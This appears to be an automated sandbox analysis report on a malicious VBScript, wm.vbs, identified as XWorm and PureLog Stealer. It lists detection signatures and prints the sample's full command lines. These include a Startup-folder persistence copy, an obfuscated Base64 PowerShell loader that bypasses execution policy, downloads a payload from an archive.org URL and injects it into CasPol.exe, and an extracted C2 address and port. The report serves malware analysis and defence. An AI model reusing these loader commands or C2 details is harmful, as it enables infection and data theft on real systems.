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Windows
Analysis Report
wm.vbs
Overview
General Information
Detection
PureLog Stealer, XWorm
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected PureLog Stealer
Yara detected XWorm
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Obfuscated command line found
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to detect virtual machines (SLDT)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 7752 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\wm.vb s" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 7836 cmdline:
"C:\Window s\System32 \cmd.exe" /c ping 12 7.0.0.1 -n 10 & powe rshell -co mmand [Sys tem.IO.Fil e]::Copy(' C:\Windows \system32\ wm.vbs', ' C:\Users\' + [Enviro nment]::Us erName + ' '\AppData\ Roaming\Mi crosoft\Wi ndows\Star t Menu\Pro grams\Star tup\ sbv.n avircse.vb s')') MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7844 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - PING.EXE (PID: 7880 cmdline:
ping 127.0 .0.1 -n 10 MD5: 2F46799D79D22AC72C241EC0322B011D) - powershell.exe (PID: 7968 cmdline:
powershell -command [System.IO .File]::Co py('C:\Win dows\syste m32\wm.vbs ', 'C:\Use rs\' + [En vironment] ::UserName + ''\AppD ata\Roamin g\Microsof t\Windows\ Start Menu \Programs\ Startup\ s bv.navircs e.vbs')') MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 8152 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCgnezB9dX JsID0gezF9 aHR0cHMnKy c6Ly9pYTYw JysnMDEwMC 51cy5hcmNo aScrJ3ZlLm 9yZycrJy8y NC9pJysndG VtcycrJy9k JysnZXQnKy dhJysnaC1u b3RlLXYvRG V0YWgnKydO b3RlVicrJy 50eHR7MX07 ezAnKyd9Ym FzZTY0Q28n KydudGVudC AnKyc9Jysn ICcrJyhOZX ctT2InKydq ZWN0IFN5Jy snc3QnKydl bS5OZScrJ3 QuVycrJ2Vi Q2xpZScrJ2 50KS4nKydE b3dubCcrJ2 9hZFN0Jysn cmluJysnZy h7MCcrJ30n Kyd1cmwpO3 snKycwfWJp bicrJ2FyJy sneUNvbicr J3RlbicrJ3 QgPScrJyAn KydbU3lzdG VtLkNvbnZl cnRdJysnOj onKydGcm9t QmEnKydzZT Y0U3RyaW5n KHswfWJhc2 UnKyc2NENv bicrJ3Rlbn QpO3swfWFz c2UnKydtYm wnKyd5ICcr Jz0nKycgW1 JlZmxlY3Rp b24uQXMnKy dzJysnZW1i bHldOjonKy dMbycrJ2Fk KHswfWJpbm EnKydyeUNv bnRlbnQpO3 swfXR5cCcr J2UgJysnPS B7JysnMH0n Kydhc3NlbS crJ2JseS5H ZXRUJysneX AnKydlKHsx fVInKyd1bl BFJysnLkhv JysnbWV7Jy snMX0pO3sw JysnfScrJ2 1lJysndGhv ZCA9IHswfX R5cGUuR2V0 TWV0aG9kKH sxfVZBJysn SXsxfScrJy k7ezB9Jysn bScrJ2UnKy d0aCcrJ29k LkluJysndi crJ29rZSh7 MH1udScrJ2 xsLCBbb2Jq ZScrJ2N0Wy crJ11dJysn QCh7MX0nKy cwJysnL2dK MWsnKydTJy snL2QvJysn ZWUuZScrJ3 RzYXAvLzpz cHR0aHsxJy snfScrJyAs JysnIHsxfW RlJysnc2F0 JysnaXZhZG 97MScrJ30n KycgLCB7MS crJ31kZXNh dGl2YScrJ2 QnKydvezF9 ICwgezF9Jy snZGUnKydz YXRpdmFkb3 snKycxfSx7 MX1DJysnYS crJ3NQbycr J2x7MX0nKy csezEnKyd9 eycrJzF9KS knKS1mICBb Y2hBUl0zNi xbY2hBUl0z OSkgfElleA ==';$OWjux d = [syste m.Text.enc oding]::UT F8.GetStri ng([system .Convert]: :Frombase6 4String($c odigo));po wershell.e xe -window style hidd en -execut ionpolicy bypass -No Profile -c ommand $OW juxD MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 8160 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7348 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "(('{0 }url = {1} https'+':/ /ia60'+'01 00.us.arch i'+'ve.org '+'/24/i'+ 'tems'+'/d '+'et'+'a' +'h-note-v /Detah'+'N oteV'+'.tx t{1};{0'+' }base64Co' +'ntent '+ '='+' '+'( New-Ob'+'j ect Sy'+'s t'+'em.Ne' +'t.W'+'eb Clie'+'nt) .'+'Downl' +'oadSt'+' rin'+'g({0 '+'}'+'url );{'+'0}bi n'+'ar'+'y Con'+'ten' +'t ='+' ' +'[System. Convert]'+ '::'+'From Ba'+'se64S tring({0}b ase'+'64Co n'+'tent); {0}asse'+' mbl'+'y '+ '='+' [Ref lection.As '+'s'+'emb ly]::'+'Lo '+'ad({0}b ina'+'ryCo ntent);{0} typ'+'e '+ '= {'+'0}' +'assem'+' bly.GetT'+ 'yp'+'e({1 }R'+'unPE' +'.Ho'+'me {'+'1});{0 '+'}'+'me' +'thod = { 0}type.Get Method({1} VA'+'I{1}' +');{0}'+' m'+'e'+'th '+'od.In'+ 'v'+'oke({ 0}nu'+'ll, [obje'+'c t['+']]'+' @({1}'+'0' +'/gJ1k'+' S'+'/d/'+' ee.e'+'tsa p//:sptth{ 1'+'}'+' , '+' {1}de' +'sat'+'iv ado{1'+'}' +' , {1'+' }desativa' +'d'+'o{1} , {1}'+'d e'+'sativa do{'+'1},{ 1}C'+'a'+' sPo'+'l{1} '+',{1'+'} {'+'1}))') -f [chAR]3 6,[chAR]39 ) |Iex" MD5: 04029E121A0CFA5991749937DD22A1D9) - CasPol.exe (PID: 2960 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
XWorm | Malware with wide range of capabilities ranging from RAT to ransomware. | No Attribution |
{"C2 url": ["135.224.23.113"], "Port": "5555", "Aes key": "<Xwormmm>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PureLogStealer | Yara detected PureLog Stealer | Joe Security | ||
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
| |
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
Click to see the 6 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
| |
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
| |
JoeSecurity_PureLogStealer | Yara detected PureLog Stealer | Joe Security | ||
Click to see the 6 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |